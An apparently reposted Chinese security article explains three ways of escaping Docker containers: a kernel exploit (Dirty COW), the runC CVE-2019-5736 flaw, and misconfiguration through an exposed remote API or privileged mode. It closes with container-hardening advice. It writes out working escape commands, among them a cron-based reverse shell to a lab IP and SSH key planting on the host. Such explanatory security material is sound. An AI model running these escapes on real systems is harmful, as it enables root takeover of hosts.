专栏首页湛卢工作室云原生安全 | docker容器逃逸

云原生安全 | docker容器逃逸

随着云计算技术的不断发展,越来越多的企业开始上“云”。云原生计算基金会(CNCF)提出了云原生(Cloud Native)的概念,云原生包含了一组应用的模式,用于帮助企业快速,持续,可靠,规模化地交付业务应用。云原生由微服务架构,DevOps 和以容器为代表的敏捷基础架构组成。

容器技术作为云原生的重要的基础架构,也面临越来越多的安全隐患,与其他虚拟化技术类似,在其面临的所有安全问题当中,逃逸问题最为严重,因为它直接影响到了承载容器的底层基础设施安全性。docker是目前主流的容器技术,今天我们来探讨一下docker逃逸的3种常见方式:内核漏洞引起的逃逸、相关程序漏洞引起的逃逸和docker配置不当引起的逃逸。

0x01 内核漏洞引起的逃逸

第一种逃逸方式,是利用宿主机的内核漏洞进行逃逸,典型的就是脏牛漏洞(Dirty COW CVE-2016-5195)。由于容器共享宿主机内核,可在容器中利用VDSO(Virtual Dynamic Shared Object,虚拟动态共享对象)内存空间中的clock_gettime() 函数对宿主机存在的脏牛漏洞发起攻击,获得root权限的shell。

漏洞POC:https://github.com/scumjr/dirtycow-vdso

我们在存在脏牛漏洞的linux宿主机中开启包含漏洞POC的容器dirtycow:

docker run --name=test -p 1234:1234 -itd dirtycow /bin/bash

容器启动后,我们进入到docker容器中,编译并执行漏洞POC:

docker exec -it test /bin/bash
cd /dirtycow-vdso/    
make      
./0xdeadbeef

可以看到,我们成功利用脏牛内核漏洞,从docker容器中逃逸,并获得了宿主机的shell:

由此可见,系统内核漏洞如果得不到及时修复,不仅会对系统本身安全性造成危害,还可能会造成运行在该宿主机上的容器逃逸,在云环境下,给企业带来更大的安全风险。

0x02 相关程序漏洞引起的逃逸

第二种逃逸方式,利用相关程序漏洞进行逃逸,所谓相关程序漏洞,指的是那些参与到容器生态中的服务端、客户端程序自身存在的漏洞,相关程序组件如下图所示:

这里以相关程序组件中的runC漏洞(CVE-2019-5736)为例。runC是一个根据OCI(Open Container Initiative)标准创建并运行容器的CLI(command-line interface) 工具。runC是Docker中最为核心的部分,容器的创建,运行,销毁等操作最终都是通过调用runC完成。攻击者可以通过特定的容器镜像或者exec操作获取到宿主机runc执行时的文件句柄并修改掉runc的二进制文件,从而获取到宿主机的root执行权限。

漏洞POC:https://github.com/Frichetten/CVE-2019-5736-PoC

首先,编译go脚本生成攻击payload,设置反弹到本地的ip和端口:

编译生成payload:

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

将该payload拷贝到docker容器中(此时可以模拟攻击者获取了docker容器权限,在容器中上传payload进行docker逃逸)

接着在容器执行payload,同时开启监听,等待受害者去启动docker容器,当受害者执行docker exec -it 命令时,获得反弹shell,完成逃逸。

由于容器其他相关程序漏洞导致的逃逸还有Docker cp(CVE-2019-14271)、Docker build code execution (CVE-2019-13139)等等。

0x03 配置不当引起的逃逸

第三种逃逸方式,利用容器配置不当进行逃逸,包括remote api 未授权访问、特权模式等方式。

1、remote api 未授权访问

docker remote api可以执行docker命令,如果docker守护进程监听在0.0.0.0,又没有限制可以访问的IP,则任意用户可直接调用API来操作docker,造成未授权访问。

漏洞成因:

dockerd -H unix:///var/run/docker. sock -H 0.0. 0.0:2375

任意用户可越权查看容器信息:

进一步利用上述信息进行docker逃逸。docker可以挂载宿主机的文件夹,同时docker默认使用root运行,这样就可以造成任意文件的读取和写入。我们可以挂载宿主机的/root到docker,然后写入我们自己生成的ssh公钥,就可以完成逃逸。

启动容器web1,并挂载宿主机/root 至容器/hack目录下

docker -H tcp://192.168.136.222:2375 run -id -v /root:/hack web1

进入容器:

docker -H tcp://192.168.136.222:2375 exec -it e33c97a4cc4f  /bin/bash

发现宿主机/root成功挂载至容器/hack目录下:

进入/hack/.ssh目录中,写入我们的生成的公钥:

vi /hack/.ssh/authorized_keys

再利用我们的私钥就可以登录到宿主机中,完成逃逸:

2、特权模式(privileged)

使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,并通过写入计划任务等方式进行逃逸。

以特权模式启动docker容器web1

docker run -itd --privileged web1 /bin/bash

进入容器,查看磁盘文件:

docker exec -it 0e6fdba0a24c  /bin/bash
root@0e6fdba0a24c:/# fdisk -l

将/dev/sda1 挂载到新建目录:

mkdir /test
mount /dev/sda1 /test

将计划任务写入到宿主机,反弹宿主机shell,完成逃逸:

echo '* * * * * /bin/bash -i >& /dev/tcp/192.168.136.1/12345 0>&1' >> /test/var/spool/cron/crontabs/root

0x04 docker安全防护

docker逃逸只是容器安全中的一部分,容器的安全是一个复杂的课题,涉及到容器构建、分发、运行、销毁的全生命周期和容器技术的整个生态。具体来说,容器安全除了包括传统的安全问题以外,还涉及镜像安全,容器守护进行安全、容器运行时安全、容器编排系统安全等等。

镜像安全:所有容器都是基于镜像运行,如果镜像的安全性受到威胁,那么将会给企业带来巨大安全隐患。Docker hub是在行业主流的镜像仓库,其由Docker官方提供。曾经有人对其镜像进行抽样,使用镜像安全扫描器clair对镜像扫描,发现安全的镜像只有24%,而风险镜像占到76%,其中高风险的镜像有67%,这说明镜像已经成为Docker安全中的一个重要的安全攻击防御战场了。

容器守护进程安全:docker守护进程需要root权限运行,这个在daemon安全上可能会带来很大的安风险;守护进程对外提供API服务,用于的容器和整个Docker的管理工作,这使得对这些接口进行安全保护是非常重要的,上文中的remote api未授权访问就是守护进程安全一个典型的例子。

容器运行时安全:容器在运行时也会产生安全问题,包括有磁盘资源限制问题,容器逃逸问题,容器DoS攻击与流量限制问题等等。Docker本身在安全处理上主要是利用kernel的namespace进行资源隔离已经使用cgroups限制资源使用,因此其安全性处理主要是依赖于kernel的安全处理能力,而目前linux kernel在namespace和cgroups层面所能做到的依然是很有限,并非完全隔离,像/proc,/sys,SELinux,time,syslog,/dev等未隔离。

容器编排系统安全:除了容器的镜像安全、守护进程的安全问题、运行时安全,容器生态中还有非常重要的一环,容器编排和调度,当下最主流的容器编排和调度系统kubernetes曾爆出过严重的用户提权漏洞(CVE-2018-1002105)。该漏洞可以从Kubernetes API服务器的网络中可以直接访问聚合API服务器,就可以提升权限对任何聚合API服务器端点进行API调用,以及对该聚合API服务器执行任何API请求。

云原生时代,容器的安全将会是企业上云面临的一个重要的安全课题,docker公司与美国互联网安全中心(CIS)合作,制定了docker的最佳安全实践,包括主机安全配置、守护进程安全配置、守护进程配置文件、容器镜像和构建、容器运行安全、docker安全操作6个章节,99个控制点,涵盖了docker安全要求的各个方面,是一个容器安全的一个重要参考。

参考资料:

1、《金融领域云原生技术与安全研究》

2、《容器时代:数万台服务器下的 Docker 深度安全实践》

3、《技术干货 | Docker 容器逃逸案例汇集》

本文分享自微信公众号 - 湛卢工作室(xuehao_studio),作者:俞学浩

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-08-09

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • Docker入门&漏洞测试环境搭建

    Docker是一个开源的应用容器引擎,基于 Go语言,并遵从Apache2.0协议开源。 Docker可以让开发者打包他们的应用以及依赖包到一个轻量级、可移植的...

    tinyfisher
  • CTF杂谈之PHP魔法与CBC加密

    PHP语言的开发者在几乎所有内置函数以及基本结构中使用了很多松散的比较和转换,防止程序中的变量因为程序员的不规范而频繁的报错,然而这却带来了安全问题。也正是因为...

    tinyfisher
  • 浅析非接触式金融欺诈技术——“短信嗅探”

    摘要:目前,短信验证码验证用户身份的技术被广泛应用于网上银行、第三方支付等金融交易类场景中,而短信验证码依赖的GSM 通信无任何加密措施,攻击者可通过伪基站的方...

    tinyfisher
  • Docker 生态

    curl -L https://github.com/docker/compose/releases/download/1.4.0/ docker-compo...

    用户5760343
  • Docker-compose 常用命令及网络设置(五)

    这样就可输出 nginx服务8080端口所绑定的公共端口。 6. ps 列出所有容器。示例

    Jacob丶
  • Docker笔记

    1.创建空文件夹 假设新建一个名为wordpress的文件夹,然后进入这个文件夹。

    hankleo
  • Docker安装官方Nexus3镜像构建Docker私服 实践笔记

    我使用centos7X64最小化安装 CentOS-7-x86_64-Minimal-1708

    cookily
  • SpringBoot非官方教程 | 第二十四篇: springboot整合docker

    这篇文篇介绍,怎么为 springboot程序构建一个docker镜像。docker 是一个开源的应用容器引擎,基于 Go 语言 并遵从Apache2.0协议开...

    方志朋
  • docker--docker 的web可视化管理工具

    当 Docker 部署规模逐步变大后,可视化监控容器环境的性能和健康状态将会变得越来越 重要。 Docker的图形化管理工具,提供状态显示面板、应用模板快速部署...

    eadela
  • 使用docker-compose部署envoy前端代理遇到的坑

    上一篇文章中我们介绍了Envoy的简单配置,Envoy有三种部署方式,这篇文章中我们来介绍其中的一种部署方式为前端代理。

    陌无崖

扫码关注云+社区

领取腾讯云代金券